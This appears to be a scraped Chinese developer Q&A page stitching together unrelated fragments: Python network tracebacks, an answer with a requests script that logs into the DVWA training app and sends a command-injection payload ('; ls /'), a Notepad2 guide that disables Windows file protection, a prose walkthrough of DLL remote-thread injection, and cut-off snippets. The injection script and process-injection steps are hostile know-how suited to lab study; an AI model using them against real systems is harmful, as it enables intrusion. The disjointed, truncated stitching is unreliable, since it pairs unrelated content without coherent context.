Traceback (most recent call last): File "D:\anaconda\Lib\site-packages\urllib3\connection.py", line 199, in _new_conn sock = connection.create_connection( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "D:\anaconda\Lib\site-packages\urllib3\util\connection.py", line 85, in create_connection raise err File "D:\anaconda\Lib\site-packages\urllib3\util\connection.py", line 73, in create_connection sock.connect(sa) TimeoutError: [WinError 10060] 由于连接方在一段时间后没有正确答复或连接的主机没有反应,连接尝试失败。 The above exception was the direct cause of the following exception: Traceback (most recent call last): File "D:\anaconda\Lib\site-packages\urllib3\connectionpool.py", line 789, in urlopen response = self._make_request( ^^^^^^^^^^^^^^^^^^^ File "D:\anaconda\Lib\site-packages\urllib3\connectionpool.py", line 495, in _make_request conn.request( File "D:\anaconda\Lib\site-packages\urllib3\connection.py", line 441, in request self.endheaders() File "D:\anaconda\Lib

时间: 2025-05-25 08:00:57 浏览: 38
### 解决使用 Requests 库在 DVWA Low 级别命令注入时的连接超时问题 当使用 `Requests` 库进行 DVWA 命令注入操作时,可能会因为网络延迟或其他原因导致连接超时(`TimeoutError`)。为了避免这种情况发生,可以在代码中设置合理的超时时间,并增加重试逻辑以提高稳定性。 以下是改进后的代码示例: ```python import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry # 定义目标 URL 和登录凭证 url_login = 'http://192.168.1.10/dvwa/login.php' url_command_injection = 'http://192.168.1.10/dvwa/vulnerabilities/exec/' credentials = { 'username': 'admin', 'password': 'password', 'Login': 'Login' # 提交按钮名称 } # 创建会话对象并配置重试策略 session = requests.Session() retries = Retry(total=5, backoff_factor=1, status_forcelist=[502, 503, 504]) adapter = HTTPAdapter(max_retries=retries) session.mount('http://', adapter) session.mount('https://', adapter) # 设置超时时间为 10 秒 timeout_duration = 10 try: # 发送登录请求 response = session.post(url_login, data=credentials, timeout=timeout_duration) if "Welcome to the password protected area" not in response.text: raise Exception("登录失败,请检查用户名和密码") print("[+] 成功登录到 DVWA.") # 构造命令注入数据包 payload = {'ip': '; ls /'} # 注入命令以遍历根目录 headers = {"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"} # 发送带有命令注入的有效负载 injection_response = session.get(url_command_injection, params=payload, headers=headers, timeout=timeout_duration) # 解析返回的结果 output_start_marker = '<pre>' output_end_marker = '</pre>' start_index = injection_response.text.find(output_start_marker) + len(output_start_marker) end_index = injection_response.text.find(output_end_marker, start_index) command_output = injection_response.text[start_index:end_index].strip() print(f"[+] 命令输出:\n{command_output}") except requests.exceptions.Timeout as e: print(f"[-] 超时错误: {e}. 尝试重新运行程序或增加超时时间.") except requests.exceptions.RequestException as e: print(f"[-] 请求异常: {e}. 检查网络连接或目标服务状态.") ``` #### 改进的关键点 - **超时设置**:通过参数 `timeout` 明确指定每次请求的最大等待时间。默认情况下,如果不设置该值,`requests` 可能会长时间阻塞[^5]。 - **重试机制**:借助 `urllib3.util.retry.Retry` 类定义最大重试次数以及指数退避算法(Exponential Backoff),从而增强在网络不稳定情况下的鲁棒性[^6]。 - **异常处理**:捕获特定类型的异常(如 `Timeout` 和其他通用 `RequestException`),提供更友好的反馈信息给用户[^7]。 --- #### 注意事项 - 上述方法虽然能够缓解部分由短暂网络波动引起的超时问题,但如果目标主机本身存在性能瓶颈或者防火墙规则限制外部访问频率,则仍可能出现无法正常通信的情况。 - 在真实场景下开展渗透测试活动前务必获得授权许可,非法入侵他人计算机系统属于违法行为。
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Traceback (most recent call last): File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\connectionpool.py", line 716, in urlopen httplib_response = self._make_request( File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\connectionpool.py", line 404, in _make_request self._validate_conn(conn) File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\connectionpool.py", line 1061, in _validate_conn conn.connect() File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\connection.py", line 419, in connect self.sock = ssl_wrap_socket( File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\util\ssl_.py", line 458, in ssl_wrap_socket ssl_sock = _ssl_wrap_socket_impl( File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\util\ssl_.py", line 502, in _ssl_wrap_socket_impl return ssl_context.wrap_socket(sock, server_hostname=server_hostname) File "F:\anaconda\envs\label_studio\lib\ssl.py", line 500, in wrap_socket return self.sslsocket_class._create( File "F:\anaconda\envs\label_studio\lib\ssl.py", line 1073, in _create self.do_handshake() File "F:\anaconda\envs\label_studio\lib\ssl.py", line 1342, in do_handshake self._sslobj.do_handshake() ConnectionResetError: [WinError 10054] 远程主机强迫关闭了一个现有的连接。 During handling of the above exception, another exception occurred: Traceback (most recent call last): File "F:\anaconda\envs\label_studio\lib\site-packages\requests\adapters.py", line 667, in send resp = conn.urlopen( File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\connectionpool.py", line 802, in urlopen retries = retries.increment( File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\util\retry.py", line 552, in increment raise six.reraise(type(error), error, _stacktrace) File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\packages\six.py", line 769, in reraise raise value.with_traceback(tb) File "F:\anaconda\envs\label_stu

ERROR: Exception: Traceback (most recent call last): File "D:\anaconda\Lib\site-packages\pip\_vendor\urllib3\response.py", line 438, in _error_catcher yield File "D:\anaconda\Lib\site-packages\pip\_vendor\urllib3\response.py", line 561, in read data = self._fp_read(amt) if not fp_closed else b"" ^^^^^^^^^^^^^^^^^^ File "D:\anaconda\Lib\site-packages\pip\_vendor\urllib3\response.py", line 527, in _fp_read return self._fp.read(amt) if amt is not None else self._fp.read() ^^^^^^^^^^^^^^^^^^ File "D:\anaconda\Lib\site-packages\pip\_vendor\cachecontrol\filewrapper.py", line 98, in read data: bytes = self.__fp.read(amt) ^^^^^^^^^^^^^^^^^^^ File "D:\anaconda\Lib\http\client.py", line 473, in read s = self.fp.read(amt) ^^^^^^^^^^^^^^^^^ File "D:\anaconda\Lib\socket.py", line 706, in readinto return self._sock.recv_into(b) ^^^^^^^^^^^^^^^^^^^^^^^ File "D:\anaconda\Lib\ssl.py", line 1315, in recv_into return self.read(nbytes, buffer) ^^^^^^^^^^^^^^^^^^^^^^^^^ File "D:\anaconda\Lib\ssl.py", line 1167, in read return self._sslobj.read(len, buffer) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ TimeoutError: The read operation timed out During handling of the above exception, another exception occurred: Traceback (most recent call last): File "D:\anaconda\Lib\site-packages\pip\_internal\cli\base_command.py", line 180, in exc_logging_wrapper status = run_func(*args) ^^^^^^^^^^^^^^^ File "D:\anaconda\Lib\site-packages\pip\_internal\cli\req_command.py", line 245, in wrapper return func(self, options, args) ^^^^^^^^^^^^^^^^^^^^^^^^^ File "D:\anaconda\Lib\site-packages\pip\_internal\commands\install.py", line 377, in run requirement_set = resolver.resolve( ^^^^^^^^^^^^^^^^^ File "D:\anaconda\Lib\site-packages\pip\_internal\resolution\resolvelib\resolver.py", line 179, in resolve self.factory.preparer.prepare_linked_requirements_more(reqs) File "D:\anaconda\Lib\site-packages\pip\_internal\operations\prepare.py", line 552, in prepare_linked_requirements_more self._complete_partial_requirements( File "D:\anaconda\Lib\site-packages\pip\_internal\operations\prepare.py", line 467, in _complete_partial_requirements for link, (filepath, _) in batch_download: File "D:\anaconda\Lib\site-packages\pip\_internal\network\download.py", line 183, in __call__ for chunk in chunks: File "D:\anaconda\Lib\site-packages\pip\_internal\cli\progress_bars.py", line 53, in _rich_progress_bar for chunk in iterable: File "D:\anaconda\Lib\site-packages\pip\_internal\network\utils.py", line 63, in response_chunks for chunk in response.raw.stream( File "D:\anaconda\Lib\site-packages\pip\_vendor\urllib3\response.py", line 622, in stream data = self.read(amt=amt, decode_content=decode_content) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "D:\anaconda\Lib\site-packages\pip\_vendor\urllib3\response.py", line 560, in read with self._error_catcher(): File "D:\anaconda\Lib\contextlib.py", line 158, in __exit__ self.gen.throw(typ, value, traceback) File "D:\anaconda\Lib\site-packages\pip\_vendor\urllib3\response.py", line 443, in _error_catcher raise ReadTimeoutError(self._pool, None, "Read timed out.") pip._vendor.urllib3.exceptions.ReadTimeoutError: HTTPSConnectionPool(host='files.pythonhosted.org', port=443): Read timed out.

Traceback (most recent call last): File "D:\PySpark\Anaconda\Lib\site-packages\conda\exception_handler.py", line 18, in __call__ return func(*args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^ File "D:\PySpark\Anaconda\Lib\site-packages\conda\cli\main.py", line 28, in main_subshell from ..base.context import context File "D:\PySpark\Anaconda\Lib\site-packages\conda\base\context.py", line 32, in <module> from ..common._os.linux import linux_get_libc_version File "D:\PySpark\Anaconda\Lib\site-packages\conda\common\_os\__init__.py", line 8, in <module> from .windows import get_free_space_on_windows as get_free_space File "D:\PySpark\Anaconda\Lib\site-packages\conda\common\_os\windows.py", line 11, in <module> from ctypes import ( File "D:\PySpark\Anaconda\Lib\ctypes\__init__.py", line 8, in <module> from _ctypes import Union, Structure, Array ModuleNotFoundError: No module named '_ctypes' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "D:\PySpark\Anaconda\Scripts\conda-script.py", line 12, in <module> sys.exit(main()) ^^^^^^ File "D:\PySpark\Anaconda\Lib\site-packages\conda\cli\main.py", line 105, in main return conda_exception_handler(main, *args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "D:\PySpark\Anaconda\Lib\site-packages\conda\exception_handler.py", line 386, in conda_exception_handler return_value = exception_handler(func, *args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "D:\PySpark\Anaconda\Lib\site-packages\conda\exception_handler.py", line 21, in __call__ return self.handle_exception(exc_val, exc_tb) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "D:\PySpark\Anaconda\Lib\site-packages\conda\exception_handler.py", line 52, in handle_exception from .exceptions import ( File "D:\PySpark\Anaconda\Lib\site-packages\conda\exceptions.py", line 17, in <module> from requests.exceptions import JSONDecodeError File "D:\PySpark\Anaconda\Lib\site-packages\requests\__init__.py", line 43, in <module> import urllib3 File "D:\PySpark\Anaconda\Lib\site-packages\urllib3\__init__.py", line 14, in <module> from . import exceptions File "D:\PySpark\Anaconda\Lib\site-packages\urllib3\exceptions.py", line 3, in <module> import socket File "D:\PySpark\Anaconda\Lib\socket.py", line 52, in <module> import _socket ModuleNotFoundError: No module named '_socket'

Traceback (most recent call last): File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\response.py", line 444, in _error_catcher yield File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\response.py", line 567, in read data = self._fp_read(amt) if not fp_closed else b"" File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\response.py", line 533, in _fp_read return self._fp.read(amt) if amt is not None else self._fp.read() File "F:\anaconda\envs\label_studio\lib\http\client.py", line 459, in read n = self.readinto(b) File "F:\anaconda\envs\label_studio\lib\http\client.py", line 503, in readinto n = self.fp.readinto(b) File "F:\anaconda\envs\label_studio\lib\socket.py", line 681, in readinto return self._sock.recv_into(b) File "F:\anaconda\envs\label_studio\lib\ssl.py", line 1274, in recv_into return self.read(nbytes, buffer) File "F:\anaconda\envs\label_studio\lib\ssl.py", line 1132, in read return self._sslobj.read(len, buffer) socket.timeout: The read operation timed out During handling of the above exception, another exception occurred: Traceback (most recent call last): File "F:\anaconda\envs\label_studio\lib\site-packages\requests\models.py", line 820, in generate yield from self.raw.stream(chunk_size, decode_content=True) File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\response.py", line 628, in stream data = self.read(amt=amt, decode_content=decode_content) File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\response.py", line 593, in read raise IncompleteRead(self._fp_bytes_read, self.length_remaining) File "F:\anaconda\envs\label_studio\lib\contextlib.py", line 131, in __exit__ self.gen.throw(type, value, traceback) File "F:\anaconda\envs\label_studio\lib\site-packages\urllib3\response.py", line 449, in _error_catcher raise ReadTimeoutError(self._pool, None, "Read timed out.") urllib3.exceptions.ReadTimeoutError: HTTPSConnectio

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### 知识点详解 #### 标题解析 - **Vista记事本(Notepad2)**: Vista记事本指的是一款名为Notepad2的文本编辑器,它不是Windows Vista系统自带的记事本,而是一个第三方软件,具备高级编辑功能,使得用户在编辑文本文件时拥有更多便利。 - **可以替换xp记事本Notepad**: 这里指的是Notepad2拥有替换Windows XP系统自带记事本(Notepad)的能力,意味着用户可以安装Notepad2来获取更强大的文本处理功能。 #### 描述解析 - **自定义语法高亮**: Notepad2支持自定义语法高亮显示,可以对编程语言如HTML, XML, CSS, JavaScript等进行关键字着色,从而提高代码的可读性。 - **支持多种编码互换**: 用户可以在不同的字符编码格式(如ANSI, Unicode, UTF-8)之间进行转换,确保文本文件在不同编码环境下均能正确显示和编辑。 - **无限书签功能**: Notepad2支持设置多个书签,用户可以根据需要对重要代码行或者文本行进行标记,方便快捷地进行定位。 - **空格和制表符的显示与转换**: 该编辑器可以将空格和制表符以不同颜色高亮显示,便于区分,并且可以将它们互相转换。 - **文本块操作**: 支持使用ALT键结合鼠标操作,进行文本的快速选择和编辑。 - **括号配对高亮显示**: 对于编程代码中的括号配对,Notepad2能够高亮显示,方便开发者查看代码结构。 - **自定义代码页和字符集**: 支持对代码页和字符集进行自定义,以提高对中文等多字节字符的支持。 - **标准正则表达式**: 提供了标准的正则表达式搜索和替换功能,增强了文本处理的灵活性。 - **半透明模式**: Notepad2支持半透明模式,这是一个具有视觉效果的功能,使得用户体验更加友好。 - **快速调整页面大小**: 用户可以快速放大或缩小编辑器窗口,而无需更改字体大小。 #### 替换系统记事本的方法 - **Windows XP/2000系统替换方法**: 首先关闭系统文件保护,然后删除系统文件夹中的notepad.exe,将Notepad2.exe重命名为notepad.exe,并将其复制到C:\Windows和C:\Windows\System32目录下,替换旧的记事本程序。 - **Windows 98系统替换方法**: 直接将重命名后的Notepad2.exe复制到C:\Windows和C:\Windows\System32目录下,替换旧的记事本程序。 #### 关闭系统文件保护的方法 - 通过修改Windows注册表中的"SFCDisable"键值,可以临时禁用Windows系统的文件保护功能。设置键值为"FFFFFF9D"则关闭文件保护,设置为"0"则重新启用。 #### 下载地址 - 提供了Notepad2的下载链接,用户可以通过该链接获取安装包。 #### 文件压缩包内文件名 - **Notepad2MOD1.1.0.8CN.exe**: 这是压缩包内所含的Notepad2编译版本,表明这是一个中文版的安装程序,版本号为1.1.0.8。 ### 总结 Notepad2是一款强大的文本编辑器,它继承了传统的记事本程序界面,同时引入了诸多增强功能,如语法高亮、编码格式转换、书签管理、文本操作快捷键、括号高亮匹配等。这使得它在处理代码、标记语言和其他文本文件时具备极大的优势。用户可以通过替换系统默认记事本的方式,将Notepad2融入到操作系统中,充分享受这些高级功能带来的便捷。同时,提供了关闭系统文件保护的方法,以便用户能够顺利完成替换工作。最后,给出了下载地址,方便用户获取软件安装包。
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【mPower1203驱动故障全攻略】:排除新手疑难杂症,提升部署效率

# 1. mPower1203驱动概述与故障诊断基础 在当今信息技术飞速发展的时代,高效准确地诊断和解决驱动故障对于确保企业级IT系统的稳定运行至关重要。mPower1203驱动作为一个广泛应用于高性能计算和数据处理领域的驱动程序,它的稳定性和性能优化对于很多关键业务系统都是不可忽视的。本章节将为您提供一个mPower1203驱动的概述,并对故障诊断的
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keil5打不开

<think>我们正在处理Keil 5无法打开的问题。根据引用资料,可能的原因和解决方案如下: 1. 工程路径过长:将工程移动到较短的路径下(如D:\Project)[^3]。 2. 需要安装C51支持包(如果涉及51单片机)[^2]。 3. 编译器配置问题:重新安装或添加ARM编译器[^4]。 4. 软件冲突:以管理员身份运行Keil,并确保安装路径正确。 下面详细说明解决方案:</think>### Keil 5无法打开的解决方法 根据引用资料,Keil 5无法打开通常有以下几种原因及解决方案: #### 1. **工程路径过长问题** [^3] 当工程文件路径嵌套过深时(
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远程进程注入技术详解:DLL注入的实现步骤

标题中提到的"RemoteCall"是一种远程进程注入技术,其关键知识点围绕着如何在不直接操作目标进程的情况下,在远程进程内存空间中加载和执行代码。这一技术广泛应用于多个领域,包括但不限于恶意软件开发、安全测试、系统管理工具等。下面,我们将深入探讨这一技术的关键步骤以及涉及的相关技术概念。 ### 进程ID的获取 要对远程进程进行操作,首先需要知道该进程的标识符,即进程ID(Process Identifier,PID)。每个运行中的进程都会被操作系统分配一个唯一的进程ID。通过系统调用或使用各种操作系统提供的工具,如Windows的任务管理器或Linux的ps命令,可以获取到目标进程的PID。 ### 远程进程空间内存分配 进程的内存空间是独立的,一个进程不能直接操作另一个进程的内存空间。要注入代码,需要先在远程进程的内存空间中分配一块内存区域。这一操作通常通过调用操作系统提供的API函数来实现,比如在Windows平台下可以使用VirtualAllocEx函数来在远程进程空间内分配内存。 ### 写入DLL路径到远程内存 分配完内存后,接下来需要将要注入的动态链接库(Dynamic Link Library,DLL)的完整路径字符串写入到刚才分配的内存中。这一步是通过向远程进程的内存写入数据来完成的,同样需要使用到如WriteProcessMemory这样的API函数。 ### 获取Kernel32.dll中的LoadLibrary地址 Kernel32.dll是Windows操作系统中的一个基本的系统级动态链接库,其中包含了许多重要的API函数。LoadLibrary函数用于加载一个动态链接库模块到指定的进程。为了远程调用LoadLibrary函数,必须首先获取到这个函数在远程进程内存中的地址。这一过程涉及到模块句柄的获取和函数地址的解析,可以通过GetModuleHandle和GetProcAddress这两个API函数来完成。 ### 创建远程线程 在有了远程进程的PID、分配的内存地址、DLL文件路径以及LoadLibrary函数的地址后,最后一步是创建一个远程线程来加载DLL。这一步通过调用CreateRemoteThread函数来完成,该函数允许调用者指定一个线程函数地址和一个参数。在这里,线程函数地址就是LoadLibrary函数的地址,参数则是DLL文件的路径。当远程线程启动后,它将在目标进程中执行LoadLibrary函数,从而加载DLL,实现代码注入。 ### 远程进程注入的应用场景与风险 远程进程注入技术的应用场景十分广泛。在系统管理方面,它允许用户向运行中的应用程序添加功能,如插件支持、模块化更新等。在安全领域,安全工具会使用注入技术来提供深度防护或监控。然而,远程进程注入技术也具有极高的风险性,特别是当被用于恶意软件时,它能够被用来注入恶意代码,对用户系统的安全性和稳定性造成威胁。因此,了解这一技术的同时,也必须对其潜在的安全风险有所认识,特别是在进行系统安全防护时,需要对该技术进行检测和防护。 ### 结语 通过对"RemoteCall"远程线程注入技术的知识点分析,我们了解到这一技术的强大能力,以及它在安全测试、系统维护和潜在恶意软件开发中的双重作用。掌握远程进程注入技术不仅要求对操作系统和编程有深入了解,还要求具备应对潜在安全风险的能力。在未来,随着技术的发展和安全挑战的增加,对这类技术的掌握和应用将变得更加重要。
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【驱动安装背后的故事】:mPower1203机制深度剖析及优化技巧

# 1. 驱动安装机制概述 ## 简介 驱动安装机制是指操作系统与计算机硬件设备之间交互的过程。这一过程涉及到驱动软件的识别、加载和初始化,确保硬件设备能够在操作系统中正确、高效地运行。本章节将从宏观角度对驱动安装机制进行概述,为深入探讨特定驱动如mPower1203提供基础。 ## 驱动安装的步骤 一
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tensorflow2.5.0 linux-aarch64.whl

<think>我们正在寻找适用于Linux AArch64架构的TensorFlow 2.5.0的预编译wheel文件。根据引用[1]和[2],我们知道在AArch64架构上安装TensorFlow可以通过预编译的wheel文件(如果可用)或者从源码编译。但是,用户明确要求wheel文件下载。 然而,请注意: 1. 引用[1]提到从Github下载安装包:tensorflow-on-arm,但该仓库主要提供TensorFlow 1.x版本的预编译包,且文件名中明确有cp35(Python3.5)和aarch64。 2. 引用[2]提到在aarch64上编译安装TensorFlow1.1